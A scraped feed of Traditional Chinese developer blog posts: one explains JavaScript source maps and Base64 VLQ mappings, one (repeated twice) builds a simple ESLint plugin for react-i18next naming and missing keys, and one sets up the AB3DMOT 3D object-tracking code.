這些問題我也不太清楚,雖然大致上的原理稍微思考一下都能夠猜個八九不離十,但對於實際運作細節從來沒有探討過,因此這週末利用了點時間稍微研究一下,記錄在這篇文章跟大家分享。
簡單來說,source map 就是儲存了原始碼與編譯後程式碼的對應關係之檔案,讓你在開啟 Devtool 時,能讓瀏覽器透過載入 source map 的方式幫助你定位原始碼位置,方便下中斷點除錯。
以目前的瀏覽器實作來看,都是只有在打開 Devtool 的時候,才會根據它獲取的 source map url 資訊來載入 source map,不會影響網站載入速度與一般使用者的體驗。
提供瀏覽器 source map url 的方式有兩種,一個是將其寫在編譯後程式碼檔案中,也是大多數現在 bundler/generator 的做法:
parcelRequire=function(e,r,t,n){var i,o="function"==typeof parcelRequire&&parcelRequire,u="function"==typeof require&&require;....
//# sourceMappingURL=file.map.js
另一種則是透過特殊的 http header,讓瀏覽器在 request 你的 javascript 檔案時,能夠從 header 欄位中找到 source map url 資訊:
X-SourceMap: /path/to/file.js.map
順帶一提,Devtool 載入 source map 的 request 並不會出現在 Network panel,所以基本上是看不到的。
這在一般使用情境上是沒什麼影響,但我前陣子有個專案部署到測試環境後,卻發現 source map 載入失敗,這時想要確認原因就麻煩了,翻了翻 chrome devtool 的原始碼,才勉勉強強猜測出是因為 devtool 載入 source map 時,不會因為你在瀏覽器中 simulate mobile mode,而跟著送出 mobile 的 user agent,而該專案的 CDN 有設定會將來自 desktop 的 request 轉到特殊的頁面,因此才導致 dev tool 的 source map 載入失敗。如果能看到載入 source map 的 request,這個問題就能更好的確認與解決了。
Source Map 是有規格的,主要由 Mozilla 與 Google 工程師撰寫,目前最新版本是 version 3,可以在這裡找到。
一個 source map 檔案大概長這樣(這是經過 beatify 後的樣子,通常會是壓縮成一行而已):
{
"version": 3,
"sources": ["logger.ts"],
"names": [],
"mappings": "gBAAgB,EAAE;AA0BA,aAAA,OAAA,eAAA,QAAA,aAAA,CAAA,OAAA,IAvBA,MAAM,...",
"file": "logger.js",
"sourceRoot": "../src",
"sourcesContent": ["/* eslint-disable no-console */\nimport { test } from '...'"]
}
大多數的 bundler/generator 都是使用 Mozilla 的 source-map 套件,或是利用該套件的 API 自己去做一些客製化,像是 Webpack 就是如此。但也有像是 v2 版本的 Parcel,就使用了 C++ 從頭撰寫,號稱效率更高。
實際檔案內容可能根據你所使用的 bundler/generator 會有些許不同,但都會遵照這個規格。
其中最重要的就是 mappings
這個欄位,記錄了編譯前後兩個文件怎麼做對應的資訊。以上面的例子來看:
"mappings": "gBAAgB,EAAE;AA0BA,aAAA,OAAA,eAAA,QAAA,aAAA,CAAA,OAAA,IAvBA,MAAM,...",
mappings 這個字串裡面有三層資訊:
用分號 ;
區隔編譯後程式碼的行,所以第一個分號前的編碼,對應編譯後程式碼的第一行。以上面例子來看,gBAAgB,EAAE
就是對應編譯後程式碼第一行的編碼。
用逗號 ,
隔開的是編譯後程式碼某一行內的某個位置。以上面例子來看,第一行紀錄了兩個位置的對應編碼,gBAAgB
與 EAAE
。 ---(感謝網友 davidhcefx 指正!)
最後是一個 Base64 VLQ 的編碼,解碼後可以得到編譯前原始碼的位置。
VLQ (variable-length quantity)
VLQ 是一種壓縮 large integers 的編碼方式,同樣一個整數,用數字表示一定會消耗比 VLQ 更多的空間。用 Base64 來表達則可以將 VLQ 表示限縮在 ASCII 的子集中,解決一些語言問題。
有興趣深入了解的人可以看看 svelte 的作者 Rich-Harris 的實作,下表範例也是取自其 Readme:
Integer | Base64 VLQ |
---|---|
0 | A |
1 | C |
123 | 2H |
123456789 | qxmvrH |
可以看到以 Base64 VLQ 來表示數字能夠縮減需要的儲存空間。
知道了 source map 是利用 mappings 裡面的 Base64 VLQ 編碼來記錄兩邊程式碼的對應位置關係,我們可以來仔細解析一下 VLQ 的內容,以上面範例中的編碼 EAAE
來看,共有四位數,每一個位數都是一個 Base64 VLQ 編碼,各自代表一個資訊:
四個欄位裡面:
其實還有第五個欄位,代表屬於 source map 檔案中 names
屬性所列的變數中的哪一個,如果 names
為空,這邊就不會產生第五個欄位。
瀏覽器就是透過這些資訊來定位編譯前後程式碼的位置,讓你能輕鬆的除錯。至於瀏覽器怎麼解析跟實際顯示在 devtool 中,就不在今天討論範圍,還得去爬他們的程式碼才行,但我估計也是用到 source-map 套件。
知道了 source map 的內容後,下個問題來了,編譯過程中,是怎麼產生這些資訊,並儲存在 source map file 中的呢?
如果有寫過 babel/eslint plugin 或是讀過 透過製作 Babel-plugin 初訪 AST 與 寫一個簡單堪用的 ESLint plugin的讀者應該對於 AST 有些了解,知道程式碼在轉換的過程中,都會經歷如下的歷程:
AST(Abstract Syntax Tree)中每個 Node 其實都會記載其位置(start 與 end):
基本上就提供了我們 source map 所需的資訊,因此 generate 步驟後,除了產生編譯後的程式碼外,也能順帶產生 source map:
而如同文章前半段所提,大多數 bundler/generator 會用到 mozilla 的 source-map 套件來幫忙在 generate 階段產生 source map,使用方法在其官方 readme 中可以找到,大致上分為兩種:
第一種是 low level API(官方範例)
var map = new SourceMapGenerator({
file: "source-mapped.js"
});
map.addMapping({
generated: {
line: 10,
column: 35
},
source: "foo.js",
original: {
line: 33,
column: 2
},
name: "christopher"
});
console.log(map.toString());
// '{"version":3,"file":"source-mapped.js","sources":["foo.js"],"names":["christopher"],"mappings":";;;;;;;;;mCAgCEA"}'
透過 SourceMapGenerator
告知其編譯後檔案位置,然後手動加入對照的程式碼行與列資訊,source-map 就能幫忙算出 Based64 VLQ 並產生 source map 檔案。這種作法就是要自己額外維護 AST node 中提供的行列資訊,以及原始碼的行列資訊。
第二種是 high level API(官方範例)
function compile(ast) {
switch (ast.type) {
case "BinaryExpression":
return new SourceNode(ast.location.line, ast.location.column, ast.location.source, [
compile(ast.left),
" + ",
compile(ast.right)
]);
case "Literal":
return new SourceNode(ast.location.line, ast.location.column, ast.location.source, String(ast.value));
// ...
default:
throw new Error("Bad AST");
}
}
var ast = parse("40 + 2", "add.js");
console.log(
compile(ast).toStringWithSourceMap({
file: "add.js"
})
);
// { code: '40 + 2',
// map: [object SourceMapGenerator] }
high level API 則是直接應用在 AST 中,透過 SourceNode
來包裹原有的 AST node,將對應編譯前原始碼的資訊附加上去,最後使用 source-map 提供的 toStringWithSourceMap
來輸出原始碼與 source map 檔。
如果你去看 SourceNode
的原始碼,你會發現 toStringWithSourceMap
底層也是呼叫了 low levle API,將整個樹的資訊 concat 起來:
this.walk(function(chunk, original) {
generated.code += chunk;
if (
original.source !== null &&
original.line !== null &&
original.column !== null
) {
if (
lastOriginalSource !== original.source ||
lastOriginalLine !== original.line ||
lastOriginalColumn !== original.column ||
lastOriginalName !== original.name
) {
map.addMapping({
source: original.source,
original: {
line: original.line,
column: original.column
},
generated: {
line: generated.line,
column: generated.column
},
name: original.name
});
}
// 略...
兩種 API 都有人使用,babel 是使用 low level API,而 webpack 則用到了 high level API。
至此我們大致上解析了 source map 的內容,並初步了解他是怎麼生成的,如果想要再繼續研究的話,可以往 source-map 的原始碼鑽研,包含 VLQ 的實作也有,或是 webpack、bable 或 parcel 的原始碼也值得一看。
雖然理解這些原理與否並不影響你開發網站與產品,也不一定能增加你的效率或薪水,但是純粹的學習知識其實也是很快樂的,希望大家看到這邊都能有所收穫!有任何問題歡迎留言指教。
只要是開發 JavaScript 相關的專案,我的起手式通常都是 ESLint + Prettier,如果你沒有聽過這兩套的話我稍微講一下,Prettier 是幫你格式化程式碼用的,用了之後不必再跟其他人爭論到底要不要加分號,if 區塊的 {
要不要換行,一行最多到底能幾個字。只要用 Prettier,就是讓它幫你全權決定(雖然也有設定檔可以調整就是了)。
這其實對團隊滿有幫助的,因為程式碼格式可以統一,要空幾格也可以統一,在基本的 coding style 上面會長差不多。而 ESLint 雖然也有些跟格式相關的部分,但更多的是寫程式時候的一些 best practice,例如說使用變數前要先宣告、不會更改的變數用 const 之類的,這已經脫離了格式的範圍。
所以 ESLint 搭配 Prettier,就可以讓整個 codebase 的品質有最低限度的保障,至少不會出現排版很慘烈的狀況。而使用 ESLint 時最多人搭配的規則應該就是 Airbnb JavaScript Style Guide,裡面有每一條規則的詳細解釋。
之前在寫 code 時我突然想到一個地方好像很適合用 ESLint,就嘗試了看看,發現要做一個「堪用」的 plugin 比想像中簡單一些,就以這篇文章記錄一下過程跟心得。
當時碰到的狀況是這樣的,在專案裡面我們用 react-i18next 來管理 i18n 相關的東西,一段程式碼可能會長得像下面這樣:
import { useTranslation } from 'react-i18next'
import { NS_GENERAL } from '@/i18n/namespaces'
function Hello() {
const { t } = useTranslation(NS_GENERAL)
return (
<div>{t('welcome_message')}</div>
)
}
使用 useTranslation
可以拿到一個 function t,把 key 丟進去之後就可以得到翻譯後的字串,而背後對應到的會是多個語言檔:
// en-us/general.json
{
"welcome_message": "Hello!"
}
// zh-hant/general.json
{
"welcome_message": "你好!"
}
這就是 i18n 的基本原理,語言檔加上對應的 key,就可以根據不同語言顯示不同的文字。看起來雖然簡單,但 i18n 比較麻煩的事情之一就是當你有參數的時候,在這邊就先不多提了。
而我們通常不會把所有翻譯都放在同一個檔案裡面,會用 namespace 去切分,至於要怎麼切就看專案,有些可能根據頁面分,有些根據使用到的地方,例如說上面提到的 general,可能就會是比較常見的、需要共用的翻譯:
// en-us/general.json
{
"contact_us": "contact us",
"close": "close",
"try_again": "Please try again"
}
// zh-hant/general.json
{
"contact_us": "聯絡我們",
"close": "關閉",
"try_again": "請再試一次"
}
而登入或是身份驗證相關頁面專屬的翻譯,可能會長這樣:
// zh-hant/auth.json
{
"username_error": "使用者名稱格式錯誤",
"password_error": "帳號或密碼輸入錯誤",
"login_success": "登入成功!"
}
把翻譯切分成不同的 namespace 的好處就在於我在瀏覽 A 頁面的時候,就不需要把 B 頁面的翻譯一起下載下來,用到哪個就下載哪個,節省資源。
當一個 component 需要用到多個 namespace 的時候有幾種不同的寫法,有一種寫法會是這樣用:
import { useTranslation } from 'react-i18next'
import { NS_GENERAL, NS_AUTH } from '@/i18n/namespaces'
function Page() {
const { t: tGeneral } = useTranslation(NS_GENERAL)
const { t: tAuth } = useTranslation(NS_AUTH)
return (
<div>
{tGeneral('contact_us')}
<p>{tAuth('login_success')}</p>
</div>
)
}
好,第一個問題來了。
當 team member 人少時,例如說只有一兩個,大家的命名會一致,比如說對於 authorization 這個 namespace,就是命名成 const { t: tAuthorization} = useTranslation()
,但當人多了以後可能會有人簡寫成 const { t: tAuth }
,雖然說這不是什麼大問題,但我認為同一個 codebase 裡面出現多種不同的命名狀況,能避免的話還是避免掉會比較好。
那要怎麼避免呢?一種就是在 code review 的時候自己去抓出來,但這個沒什麼效益而且花時間,另一種你應該已經想到了,就是透過 ESLint!像是這種可以交給程式去做的事情,交給程式就對了。
而 i18n 還有另外一個問題,那就是有時候我們工程師拿到 key 了,但是其他部門其實還沒有把這個 i18n key 新增到語言檔裡面,在畫面上就會看到裸露的 key。像這種情況,其實也可以透過 ESLint 把沒配對到的 key 抓出來,在部署前就提前知道哪些 key 是不存在的。
綜合以上想法,那時候我就想寫兩個 rule:
想要寫一個堪用的 ESLint plugin 不難,需要的基礎知識在這一篇:透過製作 Babel-plugin 初訪 AST 都有,稍微了解一下 AST 即可,當初我也是看這一篇然後邊看邊弄的,底下我就預設大家看過這篇了,直接來講應該怎麼弄。
首先第一件事情就是打開我們強大的 AST Explorer,在 transform 那邊選擇 ESLint,就會看到左下角自動載入了範本:
export default function(context) {
return {
TemplateLiteral(node) {
context.report({
node,
message: 'Do not use template literals',
fix(fixer) {
if (node.expressions.length) {
// Can't auto-fix template literal with expressions
return;
}
return [
fixer.replaceTextRange([node.start, node.start + 1], '"'),
fixer.replaceTextRange([node.end - 1, node.end], '"'),
];
},
});
}
};
};
會發現 ESLint 跟 babel 其實都是一樣的,可以針對某個特定的節點去做操作,而 ESLint 是用 context.report
來回報錯誤,message 就是你會在 console 看到的那些錯誤,fix
則是給 auto fix 功能用的,這個比較複雜一點,我們先不管它。
再來呢,就是在左上角先把我們的範例程式碼給寫好:
import { useTranslation } from 'react-i18next'
import { NS_GENERAL, NS_AUTH } from '@/i18n/namespaces'
function Page() {
const { t: tGeneral } = useTranslation(NS_GENERAL)
const { t: tAuth } = useTranslation(NS_AUTH)
return (
<div>
{tGeneral('contact_us')}
<p>{tAuth('login_success')}</p>
</div>
)
}
接著直接在右邊看 AST,我們關心的是 Variable Declarator
再繼續往下看 AST,你會發現 const { t: tGeneral } = useTranslation(NS_GENERAL)
可以先簡單分為兩個部分,左邊的 {t: tGeneral}
跟右邊的 useTranslation(NS_GENERAL)
。
左邊是在這個 Variable Declarator node 的 id 的地方,右邊則是 init 的地方。
init 點下去會看到 callee 跟 arguments
callee.name 就是 useTranslation
,arguments[0].name 則是 NS_GENERAL
。
而另外一邊 id 點下去可以找到 properties[0].key.name 是 t
,properties[0].value.name 是 tGeneral
有了這些之後,其實我們想找的元素都找齊了,就可以根據 AST 的這些節點位置來寫一段基本的程式碼:
// 正確的命名
const NS_RULES = {
NS_GENERAL: 'tGeneral',
NS_AUTH: 'tTest'
}
export default function(context) {
return {
VariableDeclarator(node) {
// 判斷是不是 useTranslation
if (node.init.callee.name === 'useTranslation') {
// 抓出 namespace 跟 alias
const ns = node.init.arguments[0].name
const alias = node.id.properties[0].value.name
if (alias !== NS_RULES[ns]) {
context.report({
node,
message: `Wrong alias, should use ${NS_RULES[ns]}`,
})
}
}
}
}
}
結果會長這樣:
其實我們只是根據 AST 上的節點內容去做簡單的判斷,但是只要做到這邊,差不多就完成八成了,上面的結果其實已經是我們要的了。
但是我們的 ESLint plugin 其實太針對範例程式碼,所以只要輕輕改一下就會壞掉,例如說加一行 var a
,就會跑出錯誤:Cannot read property 'callee' of null
,這是因為 var a
的 type 也是 VariableDeclarator
,只是 init
是 null,因為 init.callee
就報錯了。
其實這些語法可以有各種的組合,所以最後節點的長相有超級多種可能,標題之所以寫「堪用」,就是因為我不想努力了,針對 i18n 的使用場景程式碼結構都會長一樣,所以我只要針對一種就好。如果是這樣的話,只要用最新的 optional chaining 就可以避免這種存取錯誤的問題:
// 正確的命名
const NS_RULES = {
NS_GENERAL: 'tGeneral',
NS_AUTH: 'tTest'
}
export default function(context) {
return {
VariableDeclarator(node) {
// 判斷是不是 useTranslation
if (node.init?.callee?.name === 'useTranslation') {
// 抓出 namespace 跟 alias
const ns = node.init?.arguments?.[0]?.name
const alias = node.id?.properties?.[0].value?.name
if (alias !== NS_RULES[ns]) {
context.report({
node,
message: `Wrong alias, should use ${NS_RULES[ns]}`,
})
}
}
}
}
}
不過 AST Explorer 好像還沒支援 optional chaining 就是了。
寫到這邊,其實我們的目標就已經達成了,寫出一個會幫你抓錯誤的 alias 的 ESLint rule。不過這個寫法其實有幾個缺陷,那就是我們把東西寫太死,所以結構變了就抓不出來了,例如說:
var a = NS_AUTH
const { t: tAuth } = useTranslation(a)
plugin 所抓到的 namespace 就會是 a
,而不是 NS_AUTH
,但如果有做好處理的話,應該是可以去找 a 的值發現是 NS_AUTH。不過前面我講過了,因為這個 i18n 使用的時候結構都會一樣,所以暫時不會碰到這種問題。
另外一個找出遺漏的 key 其實也是一樣的做法,就是根據 AST 找出 function call,然後呼叫的 function 名稱是我們剛剛定義好的那些像是 t, tGeneral, tAuth 之類的,把參數取出來,就是應該要存在的 i18n key,接著去語言檔裡面找一下是否存在。
簡單做個示範:
// 正確的命名
const NS_RULES = {
NS_GENERAL: 'tGeneral',
NS_AUTH: 'tAuth'
}
// 應該從語言檔讀入
const KEYS = ['contact', 'login_success']
export default function(context) {
return {
CallExpression(node) {
if (Object.values(NS_RULES).includes(node.callee.name)) {
if (!KEYS.includes(node.arguments[0].value)) {
context.report({
node,
message: `i18n key: ${node.arguments[0].value} not found`
})
}
}
}
}
}
結果會長這樣:
只要掌握 AST 的結構依樣畫葫蘆,就可以快速寫出一個簡單堪用的 ESLint plugin。
這篇寫出來的 ESLint plugin 我大概會用「簡陋」來形容,就是滿足了最低限度的需求而已,沒有 options 可以調整,也沒有對比較複雜的狀況做處理。
如果你要寫一個沒那麼簡陋的 ESLint plugin,其實不是一件簡單的事,就舉 no-alert
為例好了,裡面需要考慮到不同狀況以及 options 的設置,原始碼在這邊:eslint/lib/rules/no-alert.js。
這篇算是做個小嘗試而已,先寫寫看比較針對性而且簡單的的規則來入門,未來如果還有類似的需求,可以再研究該怎麼寫得更完整。
參考資料:
]]>只要是開發 JavaScript 相關的專案,我的起手式通常都是 ESLint + Prettier,如果你沒有聽過這兩套的話我稍微講一下,Prettier 是幫你格式化程式碼用的,用了之後不必再跟其他人爭論到底要不要加分號,if 區塊的 {
要不要換行,一行最多到底能幾個字。只要用 Prettier,就是讓它幫你全權決定(雖然也有設定檔可以調整就是了)。
這其實對團隊滿有幫助的,因為程式碼格式可以統一,要空幾格也可以統一,在基本的 coding style 上面會長差不多。而 ESLint 雖然也有些跟格式相關的部分,但更多的是寫程式時候的一些 best practice,例如說使用變數前要先宣告、不會更改的變數用 const 之類的,這已經脫離了格式的範圍。
所以 ESLint 搭配 Prettier,就可以讓整個 codebase 的品質有最低限度的保障,至少不會出現排版很慘烈的狀況。而使用 ESLint 時最多人搭配的規則應該就是 Airbnb JavaScript Style Guide,裡面有每一條規則的詳細解釋。
之前在寫 code 時我突然想到一個地方好像很適合用 ESLint,就嘗試了看看,發現要做一個「堪用」的 plugin 比想像中簡單一些,就以這篇文章記錄一下過程跟心得。
當時碰到的狀況是這樣的,在專案裡面我們用 react-i18next 來管理 i18n 相關的東西,一段程式碼可能會長得像下面這樣:
import { useTranslation } from 'react-i18next'
import { NS_GENERAL } from '@/i18n/namespaces'
function Hello() {
const { t } = useTranslation(NS_GENERAL)
return (
<div>{t('welcome_message')}</div>
)
}
使用 useTranslation
可以拿到一個 function t,把 key 丟進去之後就可以得到翻譯後的字串,而背後對應到的會是多個語言檔:
// en-us/general.json
{
"welcome_message": "Hello!"
}
// zh-hant/general.json
{
"welcome_message": "你好!"
}
這就是 i18n 的基本原理,語言檔加上對應的 key,就可以根據不同語言顯示不同的文字。看起來雖然簡單,但 i18n 比較麻煩的事情之一就是當你有參數的時候,在這邊就先不多提了。
而我們通常不會把所有翻譯都放在同一個檔案裡面,會用 namespace 去切分,至於要怎麼切就看專案,有些可能根據頁面分,有些根據使用到的地方,例如說上面提到的 general,可能就會是比較常見的、需要共用的翻譯:
// en-us/general.json
{
"contact_us": "contact us",
"close": "close",
"try_again": "Please try again"
}
// zh-hant/general.json
{
"contact_us": "聯絡我們",
"close": "關閉",
"try_again": "請再試一次"
}
而登入或是身份驗證相關頁面專屬的翻譯,可能會長這樣:
// zh-hant/auth.json
{
"username_error": "使用者名稱格式錯誤",
"password_error": "帳號或密碼輸入錯誤",
"login_success": "登入成功!"
}
把翻譯切分成不同的 namespace 的好處就在於我在瀏覽 A 頁面的時候,就不需要把 B 頁面的翻譯一起下載下來,用到哪個就下載哪個,節省資源。
當一個 component 需要用到多個 namespace 的時候有幾種不同的寫法,有一種寫法會是這樣用:
import { useTranslation } from 'react-i18next'
import { NS_GENERAL, NS_AUTH } from '@/i18n/namespaces'
function Page() {
const { t: tGeneral } = useTranslation(NS_GENERAL)
const { t: tAuth } = useTranslation(NS_AUTH)
return (
<div>
{tGeneral('contact_us')}
<p>{tAuth('login_success')}</p>
</div>
)
}
好,第一個問題來了。
當 team member 人少時,例如說只有一兩個,大家的命名會一致,比如說對於 authorization 這個 namespace,就是命名成 const { t: tAuthorization} = useTranslation()
,但當人多了以後可能會有人簡寫成 const { t: tAuth }
,雖然說這不是什麼大問題,但我認為同一個 codebase 裡面出現多種不同的命名狀況,能避免的話還是避免掉會比較好。
那要怎麼避免呢?一種就是在 code review 的時候自己去抓出來,但這個沒什麼效益而且花時間,另一種你應該已經想到了,就是透過 ESLint!像是這種可以交給程式去做的事情,交給程式就對了。
而 i18n 還有另外一個問題,那就是有時候我們工程師拿到 key 了,但是其他部門其實還沒有把這個 i18n key 新增到語言檔裡面,在畫面上就會看到裸露的 key。像這種情況,其實也可以透過 ESLint 把沒配對到的 key 抓出來,在部署前就提前知道哪些 key 是不存在的。
綜合以上想法,那時候我就想寫兩個 rule:
想要寫一個堪用的 ESLint plugin 不難,需要的基礎知識在這一篇:透過製作 Babel-plugin 初訪 AST 都有,稍微了解一下 AST 即可,當初我也是看這一篇然後邊看邊弄的,底下我就預設大家看過這篇了,直接來講應該怎麼弄。
首先第一件事情就是打開我們強大的 AST Explorer,在 transform 那邊選擇 ESLint,就會看到左下角自動載入了範本:
export default function(context) {
return {
TemplateLiteral(node) {
context.report({
node,
message: 'Do not use template literals',
fix(fixer) {
if (node.expressions.length) {
// Can't auto-fix template literal with expressions
return;
}
return [
fixer.replaceTextRange([node.start, node.start + 1], '"'),
fixer.replaceTextRange([node.end - 1, node.end], '"'),
];
},
});
}
};
};
會發現 ESLint 跟 babel 其實都是一樣的,可以針對某個特定的節點去做操作,而 ESLint 是用 context.report
來回報錯誤,message 就是你會在 console 看到的那些錯誤,fix
則是給 auto fix 功能用的,這個比較複雜一點,我們先不管它。
再來呢,就是在左上角先把我們的範例程式碼給寫好:
import { useTranslation } from 'react-i18next'
import { NS_GENERAL, NS_AUTH } from '@/i18n/namespaces'
function Page() {
const { t: tGeneral } = useTranslation(NS_GENERAL)
const { t: tAuth } = useTranslation(NS_AUTH)
return (
<div>
{tGeneral('contact_us')}
<p>{tAuth('login_success')}</p>
</div>
)
}
接著直接在右邊看 AST,我們關心的是 Variable Declarator
再繼續往下看 AST,你會發現 const { t: tGeneral } = useTranslation(NS_GENERAL)
可以先簡單分為兩個部分,左邊的 {t: tGeneral}
跟右邊的 useTranslation(NS_GENERAL)
。
左邊是在這個 Variable Declarator node 的 id 的地方,右邊則是 init 的地方。
init 點下去會看到 callee 跟 arguments
callee.name 就是 useTranslation
,arguments[0].name 則是 NS_GENERAL
。
而另外一邊 id 點下去可以找到 properties[0].key.name 是 t
,properties[0].value.name 是 tGeneral
有了這些之後,其實我們想找的元素都找齊了,就可以根據 AST 的這些節點位置來寫一段基本的程式碼:
// 正確的命名
const NS_RULES = {
NS_GENERAL: 'tGeneral',
NS_AUTH: 'tTest'
}
export default function(context) {
return {
VariableDeclarator(node) {
// 判斷是不是 useTranslation
if (node.init.callee.name === 'useTranslation') {
// 抓出 namespace 跟 alias
const ns = node.init.arguments[0].name
const alias = node.id.properties[0].value.name
if (alias !== NS_RULES[ns]) {
context.report({
node,
message: `Wrong alias, should use ${NS_RULES[ns]}`,
})
}
}
}
}
}
結果會長這樣:
其實我們只是根據 AST 上的節點內容去做簡單的判斷,但是只要做到這邊,差不多就完成八成了,上面的結果其實已經是我們要的了。
但是我們的 ESLint plugin 其實太針對範例程式碼,所以只要輕輕改一下就會壞掉,例如說加一行 var a
,就會跑出錯誤:Cannot read property 'callee' of null
,這是因為 var a
的 type 也是 VariableDeclarator
,只是 init
是 null,因為 init.callee
就報錯了。
其實這些語法可以有各種的組合,所以最後節點的長相有超級多種可能,標題之所以寫「堪用」,就是因為我不想努力了,針對 i18n 的使用場景程式碼結構都會長一樣,所以我只要針對一種就好。如果是這樣的話,只要用最新的 optional chaining 就可以避免這種存取錯誤的問題:
// 正確的命名
const NS_RULES = {
NS_GENERAL: 'tGeneral',
NS_AUTH: 'tTest'
}
export default function(context) {
return {
VariableDeclarator(node) {
// 判斷是不是 useTranslation
if (node.init?.callee?.name === 'useTranslation') {
// 抓出 namespace 跟 alias
const ns = node.init?.arguments?.[0]?.name
const alias = node.id?.properties?.[0].value?.name
if (alias !== NS_RULES[ns]) {
context.report({
node,
message: `Wrong alias, should use ${NS_RULES[ns]}`,
})
}
}
}
}
}
不過 AST Explorer 好像還沒支援 optional chaining 就是了。
寫到這邊,其實我們的目標就已經達成了,寫出一個會幫你抓錯誤的 alias 的 ESLint rule。不過這個寫法其實有幾個缺陷,那就是我們把東西寫太死,所以結構變了就抓不出來了,例如說:
var a = NS_AUTH
const { t: tAuth } = useTranslation(a)
plugin 所抓到的 namespace 就會是 a
,而不是 NS_AUTH
,但如果有做好處理的話,應該是可以去找 a 的值發現是 NS_AUTH。不過前面我講過了,因為這個 i18n 使用的時候結構都會一樣,所以暫時不會碰到這種問題。
另外一個找出遺漏的 key 其實也是一樣的做法,就是根據 AST 找出 function call,然後呼叫的 function 名稱是我們剛剛定義好的那些像是 t, tGeneral, tAuth 之類的,把參數取出來,就是應該要存在的 i18n key,接著去語言檔裡面找一下是否存在。
簡單做個示範:
// 正確的命名
const NS_RULES = {
NS_GENERAL: 'tGeneral',
NS_AUTH: 'tAuth'
}
// 應該從語言檔讀入
const KEYS = ['contact', 'login_success']
export default function(context) {
return {
CallExpression(node) {
if (Object.values(NS_RULES).includes(node.callee.name)) {
if (!KEYS.includes(node.arguments[0].value)) {
context.report({
node,
message: `i18n key: ${node.arguments[0].value} not found`
})
}
}
}
}
}
結果會長這樣:
只要掌握 AST 的結構依樣畫葫蘆,就可以快速寫出一個簡單堪用的 ESLint plugin。
這篇寫出來的 ESLint plugin 我大概會用「簡陋」來形容,就是滿足了最低限度的需求而已,沒有 options 可以調整,也沒有對比較複雜的狀況做處理。
如果你要寫一個沒那麼簡陋的 ESLint plugin,其實不是一件簡單的事,就舉 no-alert
為例好了,裡面需要考慮到不同狀況以及 options 的設置,原始碼在這邊:eslint/lib/rules/no-alert.js。
這篇算是做個小嘗試而已,先寫寫看比較針對性而且簡單的的規則來入門,未來如果還有類似的需求,可以再研究該怎麼寫得更完整。
參考資料:
]]>繼在 陪你讀論文 - 3D Multi-Object Tracking: A Baseline and New Evaluation Metrics (IROS 2020) 中介紹了 AB3DMOT 的概念,今天要來把他們的 code 跑起來,讓大家之後也能自己去改裡面的 code、甚至是延伸出自己的改良版。基本上作者已經在 README.md 把步驟寫得滿完整的了,不過抱持著可能會有一些要注意的地方,我還是寫了這篇記錄,供以後的自己或有興趣的讀者參考。
在跑起別人 code 的時候,有時可能會遇到一些問題,這時候就可以先想想最後會看到什麼樣的風景,然後就會因為想看到那風景,繼續嘗試了,放張風景圖:
雖然作者提供的步驟是使用 venv,但我個人偏好 conda,如果你對 venv 跟 conda 的定位不熟,可以參考這篇討論 - Does Conda replace the need for virtualenv?。
直接放上 commands:
conda create --name ab3dmot python=3.6
conda activate ab3dmot
cd 到你想要儲存這些 code 的資料夾
git clone https://github.com/xinshuoweng/Xinshuo_PyToolbox
cd Xinshuo_PyToolbox
pip install -r requirements.txt
cd ..
https://github.com/xinshuoweng/AB3DMOT.git
cd AB3DMOT/
pip install -r requirements.txt
先從 main.py 開始,main.py 會做的事情就是執行 tracking 的過程,並把 track 的結果記錄下來。
export PYTHONPATH=${PYTHONPATH}:/home/ricky/playground/AB3DMOT/AB3DMOT
export PYTHONPATH=${PYTHONPATH}:/home/ricky/playground/AB3DMOT/Xinshuo_PyToolbox
python main.py pointrcnn_Car_val
跑起來就會看到下面的輸出:
(ab3dmot) ricky@system76-pc:~/playground/AB3DMOT/AB3DMOT$ python main.py pointrcnn_Car_val
Total Tracking took: 40.092 for 8008 frames or 199.7 FPS
這時你可以跑跑看 evaluation,會產生一些 tracking metrics:
python evaluation/evaluate_kitti3dmot.py pointrcnn_Car_val
這一步會產生的 output 滿長的,總之最後是長這樣:
=================evaluation: best results with single threshold=================
Multiple Object Tracking Accuracy (MOTA) 0.8624
Multiple Object Tracking Precision (MOTP) 0.7843
Multiple Object Tracking Accuracy (MOTAL) 0.8624
Multiple Object Detection Accuracy (MODA) 0.8624
Multiple Object Detection Precision (MODP) 0.8311
Recall 0.9217
Precision 0.9622
F1 0.9415
False Alarm Rate 0.0931
Mostly Tracked 0.7568
Partly Tracked 0.2054
Mostly Lost 0.0378
True Positives 9279
Ignored True Positives 1688
False Positives 365
False Negatives 788
Ignored False Negatives 783
ID-switches 0
Fragmentations 15
Ground Truth Objects (Total) 10850
Ignored Ground Truth Objects 2471
Ground Truth Trajectories 210
Tracker Objects (Total) 10222
Ignored Tracker Objects 578
Tracker Trajectories 1034
================================================================================
========================evaluation: average over recall=========================
sAMOTA AMOTA AMOTP
0.9328 0.4543 0.7741
================================================================================
Thank you for participating in our benchmark!
我最期待就是這一步,因為跑出 3D bounding box 實在太帥了,不過我發現還需要補裝個 terminaltables,不知道為什麼,在 Xinshuo_PyToolbox 的 requirements.txt 裡面被 comment 掉。
pip install terminaltables
python visualization.py pointrcnn_Car_val
跑起來會看到下面的輸出:
(ab3dmot) ricky@system76-pc:~/playground/AB3DMOT/AB3DMOT$ python visualization.py pointrcnn_Car_val
the input folder does not exist data/KITTI/resources/training/image_02/0000
number of images to visualize is 0
the input folder does not exist data/KITTI/resources/training/image_02/0003
那是因為沒有下載 KITTI 的 image,沒有 image 當然就無法畫囉,所以要去下載並把 image 檔放到對的位置。這時再執行就會看到:
(ab3dmot) ricky@system76-pc:~/playground/AB3DMOT/AB3DMOT$ python visualization.py pointrcnn_Car_val
number of images to visualize is 154
processing index: 0, 1/154, results from ./results/pointrcnn_Car_val/trk_withid/0000/000000.txt
number of objects to plot is 3
processing index: 1, 2/154, results from ./results/pointrcnn_Car_val/trk_withid/0000/000001.txt
number of objects to plot is 5
processing index: 2, 3/154, results from ./results/pointrcnn_Car_val/trk_withid/0000/000002.txt
number of objects to plot is 4
...
然後就可以去 results/
看到畫出來的結果了!
上面的步驟讓我們可以很快速的把整個流程跑一遍,可是有一個微空虛的地方,就是我們是直接用現成的 3D detection results,像我們剛剛跑的是 pointrcnn_Car_val 這份,是直接從 ./data/KITTI/pointrcnn_Car_val 拿到資料。
如果我們今天想要用 AB3DMOT 的框架,但想要更換 3D object detection 的 module,要怎麼做呢?
我們可以嘗試把 PointRCNN 跑起來,然後產生出 AB3DMOT 需要吃的 txt 檔,關於這件事要怎麼做到,有機會我再寫一篇文章。
